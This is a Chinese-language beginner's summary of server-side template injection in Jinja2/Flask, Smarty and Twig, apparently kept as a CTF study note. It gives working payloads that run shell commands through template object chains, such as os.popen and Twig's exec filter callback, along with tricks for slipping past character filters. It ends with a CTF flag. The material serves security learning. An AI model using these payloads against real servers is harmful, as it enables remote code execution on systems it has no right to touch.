SSTI小总结
模板注入(SSTI)的简单总结
前言
由于现在还是萌新时期,这时候决定先写一篇关于模板注入的简单总结给自己用。
SSTI的简单测试
各框架的模板结构
jinja2
0x01
在缺省情况下,以下全局变量可以在 Jinja2 模板中使用:
config
当前配置对象(
flask.config
)tips:这个变量总是可用,甚至是在被导入的模板中。request
当前请求对象(
flask.request
)。 在没有活动请求环境情况下渲染模板时,这个变量不可用。session
当前会话对象(
flask.session
)。 在没有活动请求环境情况下渲染模板时,这个变量不可用。g
请求绑定的全局变量(
flask.g
)。 在没有活动请求环境情况下渲染模板时,这个变量不可用。url_for()
flask.url_for()
函数。get_flashed_messages()
flask.get_flashed_messages()
函数。
0x02
在python的SSTI中,大部分是依靠基类->子类->危险函数的方式来利用ssti。
__class__
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
。
__bases__
以元组的形式返回一个类所直接继承的类。
__mro__
返回解析方法调用的顺序。
__subclasses__()
获取类的所有子类。
__init__
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
常见payload
1 | {{config.__class__.__init__.__globals__['os'].popen('ls /').read()}} |
绕过姿势
测试SSTI过滤
{{"要测试的字符"}}
,只需要看看要测试的字符是否返回在页面中即可,下面分别说说对应各种过滤情况的解决办法。
过滤
使用{%`进行绕过,`{%%}
中间执行if语句可以起到类似盲注的效果
过滤_
可以用编码绕过
1 | #如下 |
_
=> \x5f
, .
=> \x2e
过滤了_可以用request['args']
或者request['values']绕过
如果过滤了args
也可以request['values']
结合attr()
绕过
如:''.__class__
可以写成 ''|attr(request['values']['x1'])
,然后POST传入x1=__class__
过滤.
可以用attr()
或[]
绕过
1 | # 例如 |
过滤[]
可以使用getitem()
来获取序号
1 | "".__class__.__mro__[2] => |
利用请求方式requests绕过
对于某些较为严格的过滤,我们可以选着用requests
的方式绕过
1 | # 例如 |
smarty
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。所以对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
漏洞确认
基本的测试可以根据上面的那张图片,也可以输入{$smarty.version}
查看Smarty的版本信息。
常用payload
1 | {if phpinfo()}{/if} |
常见的漏洞利用方式
{php}{/php}标签
Smarty支持 使用{php}{/php}
标签来执行被包裹其中的php指令,最常规的思路应该是先测试这个标签。
但是,在Smarty3的官方手册中有如下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
所以,一般在Smarty类中是用不了的。
{if}标签
在官方文档中有如下描述:
Smarty的
{if}
条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}
所以我们就可以利用这个来执行我们的php代码
如:{if phpinfo()}{/if}
twig
[BJDCTF2020]Cookie is so stable
Twig的模板注入,判断如下:
49 回显7777777 => Jinja2 ,回显49 => Twigpayload
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
拿到flag
flag{c485b15c-f3df-4dc8-abb3-ed322ea30c66}